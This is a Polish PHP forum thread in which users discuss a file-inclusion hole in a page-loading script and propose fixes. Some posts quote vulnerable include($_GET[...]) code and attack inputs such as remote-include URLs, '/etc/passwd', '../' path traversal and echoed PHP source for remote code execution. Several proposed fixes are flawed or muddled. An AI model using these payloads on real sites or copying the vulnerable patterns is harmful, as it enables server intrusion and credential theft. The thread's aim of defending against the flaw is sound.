![]() |
![]() ![]() |
![]() |
![]()
Post
#1
|
|
Grupa: Zarejestrowani Postów: 24 Pomógł: 0 Dołączył: 14.10.2003 Ostrzeżenie: (0%) ![]() ![]() |
Ostatnio dużo czytałem o zabezpieczeniech danych przesyłanych drogą post i get
Nawet w prowadzonym przez mnie serwisie stosując stare techniki ktoś odczytał plik d.php gdzie przechowywane sa hasła i zaproponował mi zmainą poniższego kodu na następujący [php:1:38b804c758]<?php if ((!isset($plik)) || ($plik=="")) { include("aktualnosci.php"); } else { include($plik); } ?>[/php:1:38b804c758] na następujący [php:1:38b804c758]<?php $plik = $HTTP_GET_VARS['plik']; if ($plik||!file_exists($plik)) { include("aktualnosci.php"); } else { include($plik); } ?>[/php:1:38b804c758] Czy to jest poprawne i nie ma zadnego haka i jak bylo to mozliew ze sprawdzili moje hasła ___ [scanner] Zmoderowane. Prosze używac BBCode |
|
|
![]()
Post
#2
|
|
![]() Grupa: Zarejestrowani Postów: 71 Pomógł: 0 Dołączył: 5.09.2003 Skąd: Kielce Ostrzeżenie: (0%) ![]() ![]() |
IMHO ten drugi zapis jest bezpieczny.
Natomiast w pierwszym jest include, który nie sprawdza gdzie dany skrypt się znajduje, przez co można otworzyć skrypty z innych serwerów np: http://twoja.strona.pl/?plik=http://forum....hp.pl/index.php Oczywiście zamiast index.php można dać inny skrypt, który może zrobić to co chce jego autor. |
|
|
![]()
Post
#3
|
|
![]() Grupa: Zarejestrowani Postów: 2 064 Pomógł: 1 Dołączył: 22.01.2003 Skąd: Poznań Ostrzeżenie: (0%) ![]() ![]() |
[php:1:634a508c1a]<?php
if(!file_exists($plik)) { include("404.php"); } else { include("./".$plik); } ?>[/php:1:634a508c1a] -------------------- |
|
|
![]()
Post
#4
|
|
![]() Grupa: Zarejestrowani Postów: 223 Pomógł: 0 Dołączył: 13.01.2003 Skąd: 3rd ball of mud behind a big ball of burning gas Ostrzeżenie: (0%) ![]() ![]() |
Cytat [php:1:74ec66b5d5]<?php
if(!file_exists($plik)) { include("404.php"); } else { include("./".$plik); } ?>[/php:1:74ec66b5d5] A co w przypadku gdy [php:1:74ec66b5d5]<?php $plik = '/etc/passwd'; ?>[/php:1:74ec66b5d5] Przejdzie do warunku drugiego. Proponuję poprawić jeszcze kod o ten mankament. Pozdrawiam. -------------------- It's Time to Join the PLD Linux Generation!
<? while (!$success) { $try++; } ?> |
|
|
![]()
Post
#5
|
|
![]() Grupa: Zarejestrowani Postów: 2 064 Pomógł: 1 Dołączył: 22.01.2003 Skąd: Poznań Ostrzeżenie: (0%) ![]() ![]() |
W takim przypadku:
[php:1:d4636a2cf5]<?php $plik = '/etc/passwd'; if(!file_exists($plik)) { include("404.php"); } else { // wykona sie ten warunek include("./etc/passwd"); } ?>[/php:1:d4636a2cf5] I skrypt się wysypie - bo nie ma takiego pliku w bieżącym (./) katalogu. Ale poprawnie skrypt powinien wyglądać tak: [php:1:d4636a2cf5]<?php if(!file_exists("./".$plik)) { include("404.php"); } else { include("./".$plik); } ?>[/php:1:d4636a2cf5] -------------------- |
|
|
![]()
Post
#6
|
|
Grupa: Zarejestrowani Postów: 680 Pomógł: 0 Dołączył: 1.10.2002 Skąd: Wrocław Ostrzeżenie: (0%) ![]() ![]() |
Panowie Miramar i PrZeMoL...
Uwagami na temat wypowiedzi proszę sie wymieniać na PW... Posty nie zwiazane z tematem zostały usunięte. PS. Proszę nie pisać bezsensownych postów na temat BBCode. Od zwracania uwagi sa moderatorzy forum... Można ewentualnie wspomnieć... -------------------- "Czerp z innych, ale nie kopiuj ich. Bądź sobą." Michel Quoist
|
|
|
![]()
Post
#7
|
|
![]() Grupa: Zarejestrowani Postów: 560 Pomógł: 0 Dołączył: 15.07.2003 Skąd: Kwidzyn Ostrzeżenie: (0%) ![]() ![]() |
hmm no wlasnie trapi mi pewna sprawa jak kto robi
[php:1:c24b7d2059]<?php include ($_GET['costam']); ?>[/php:1:c24b7d2059] no to mozliwe jest podpiecie skrypty tak?? http://twoja.strona.pl/?costam=http://bad....ode.pl/code.php no ale przeciez skrypt nie zostanie przeslany jako "skrypt" tylko jako wynik dzialania skryptu, tzn chodzi mi o to jezeli plik code.php ma taka zawarosc: [php:1:c24b7d2059]<?php $kiszka='tralala bla bla bla'; echo $kiszka; ?>[/php:1:c24b7d2059] no to podstawienie code.php w includa wstawi tam "tralala bla bla bla" a nie $kiszka='tralala bla bla bla'; echo $kiszka; czy sie myle?? jednym slowem ![]() chyba ze w pliku code.php uzyje sie jakiegos tajemniczego parsowania czy czegos takiego :| |
|
|
![]()
Post
#8
|
|
Grupa: Zarejestrowani Postów: 24 Pomógł: 0 Dołączył: 14.10.2003 Ostrzeżenie: (0%) ![]() ![]() |
wyjasnijcie mi jeszcze jakim cudem koles odczytal zawartodc plików
php |
|
|
![]()
Post
#9
|
|
![]() Grupa: Zarejestrowani Postów: 61 Pomógł: 0 Dołączył: 16.08.2003 Skąd: Wrocław Ostrzeżenie: (0%) ![]() ![]() |
Cytat IMHO ten drugi zapis jest bezpieczny.
Natomiast w pierwszym jest include, który nie sprawdza gdzie dany skrypt się znajduje, przez co można otworzyć skrypty z innych serwerów np: http://twoja.strona.pl/?plik=http://forum....hp.pl/index.php Oczywiście zamiast index.php można dać inny skrypt, który może zrobić to co chce jego autor. Nie jestem pewien czy to o to chodzi, ale chyba powyzszy post to dobrze wyjasnia ![]() Tak wiec teoretycznie php wysyla juz przerobiony kod... z tym ze wykonuje z podana sciezka... dlatego np. gdy mamy 2 pliki: katalog/wyswietl.php [php:1:7062864d12]<?php include("mama.php"); ?>[/php:1:7062864d12] (plik mama.php tez jest w katalogu "katalog/") i uruchomimy plik: index.php (bedacy w glownym katalogu) zawierajacy: [php:1:7062864d12]<?php include("katalog/wyswietl.php"); ?>[/php:1:7062864d12] to zamiast po wejsciu na plik index.php wyswietlic mama.php wyswietli nam blad... (zastanowcie sie chwilke to zrozumiecie ![]() Moze to troche topornie wytlumaczone, ale po prostu w ten sposob gdy zaincludujemy plik spoza naszego serwera to umozliwiamy skryptowi z tamtego serwera dostanie sie do naszych zmiennych (zreszta sam juz nie wiem, sam sobie wszystko pomieszalem ![]() |
|
|
![]()
Post
#10
|
|
![]() Grupa: Zarejestrowani Postów: 560 Pomógł: 0 Dołączył: 15.07.2003 Skąd: Kwidzyn Ostrzeżenie: (0%) ![]() ![]() |
no chyba troche zakreciles Cyklop
![]() tak przynajmnie mi sie wydaje bo jesli server przesysal by czysty kod php to by byla totalna lipa ![]() |
|
|
![]()
Post
#11
|
|
![]() Grupa: Zarejestrowani Postów: 61 Pomógł: 0 Dołączył: 16.08.2003 Skąd: Wrocław Ostrzeżenie: (0%) ![]() ![]() |
Teoretycznie tak, ale wlasnie on jakos umozliwia temu plikowi na drugim serwerze korzystanie ze swoich zmiennych badz tez uruchamianie komend na tym serwerze. Po prostu tamten skrypt dostaje jako sciezke adres pierwszego serwera i *chyba* moze w nim namieszac. Nie jestem pewien, bo sie nie bawilem w cos takiego ale jak bede mial czas wolny to sprobuje
![]() |
|
|
![]()
Post
#12
|
|
![]() Grupa: Zarejestrowani Postów: 57 Pomógł: 0 Dołączył: 21.08.2003 Skąd: Będzin Ostrzeżenie: (0%) ![]() ![]() |
Cytat [..]a jego wynik zostanie przeslany na server nr 1 czyli zamias zawartosci pliku mama.php bedzie odczytany wynik skryptu jaki zainkludujesz nie "czysty" kod skryptu tylko jego wynik[..]
Co za problem zrobić tak: [php:1:c349e6e90d]<?php echo '<?php // i tu jechane z kodem php, ktory chcesz wykonac na serwerze delikwenta '; ?>[/php:1:c349e6e90d] Poza tym nie wszystkie serwery przeciez oblsuguja/parsuja php... Jeszcze odnoścnie tego: [php:1:c349e6e90d]<?php if(!file_exists("./".$plik)) { include("404.php"); } else { include("./".$plik); } ?>[/php:1:c349e6e90d] ..co za problem pod zmienną plik podpiąć np: '../../../../etc/passwd' Inne wykorzystanie dziury.... Wystarczy, że ktoś ma konto 'grozny_user' na serwerze i podstawi np: '../../grozny_user/www/grozny_plik.php' Do autora wątku - polecam poczytać: http://www.zend.com/zend/art/art-oertli.php również w manualu jest cały rozdział poświęcony bezpieczeństwu... |
|
|
![]()
Post
#13
|
|
![]() Grupa: Zarejestrowani Postów: 144 Pomógł: 0 Dołączył: 29.06.2003 Skąd: Wrocław Ostrzeżenie: (0%) ![]() ![]() |
ja sobie to rozwiązałem zapisując w tablicy na sztywno możliwe do zaakceptowania zapytania:
[php:1:2d70ec70ac]<?php function official($kat){ //tutaj tablica z dopuszczonymi nazwami katalogów $off = array('index', 'forum', ....); if(in_array($kat, $off){ return TRUE; } return FALSE; } if(!offcial($_GET['kat'])){ header("Location: http://twojastrona.pl"); exit; } ?>[/php:1:2d70ec70ac] U mnie jeżeli koleś spróbuje 2 razy podać nieoficjalne zapytanie to go banuje dodatkowo ![]() -------------------- if(function_exists("zrozum_kobiete")){
echo "Niemożliwe!"; exit;} |
|
|
![]()
Post
#14
|
|
![]() Grupa: Zarejestrowani Postów: 14 Pomógł: 0 Dołączył: 23.10.2003 Ostrzeżenie: (0%) ![]() ![]() |
A moze skorzystac z funckji basename ktora wyciagnie nazwe pliku ze scizki /zeby byc pewny ze nikt ci nie poda sciezki do pliku ktoprego nie chcesz/ http://pl2.php.net/manual/en/function.basename.php
. Jesli pliki sa w innym katalogu to mozemy miec stworzonego hasha ktorego kluczami sa nazwy plikow a wartosciami sciezki do tego pliku. [php:1:c69198e1e6]<?php $hash = array( 'plik.inc' => 'katalog1', 'plik2.inc' => 'katalog2', ); $plik = basename($_REQUEST['plik']); include($hash[$plik].'/'.$plik); ?>[/php:1:c69198e1e6][/url] |
|
|
![]() ![]() |
![]() |
Wersja Lo-Fi | Aktualny czas: 18.07.2025 - 10:17 |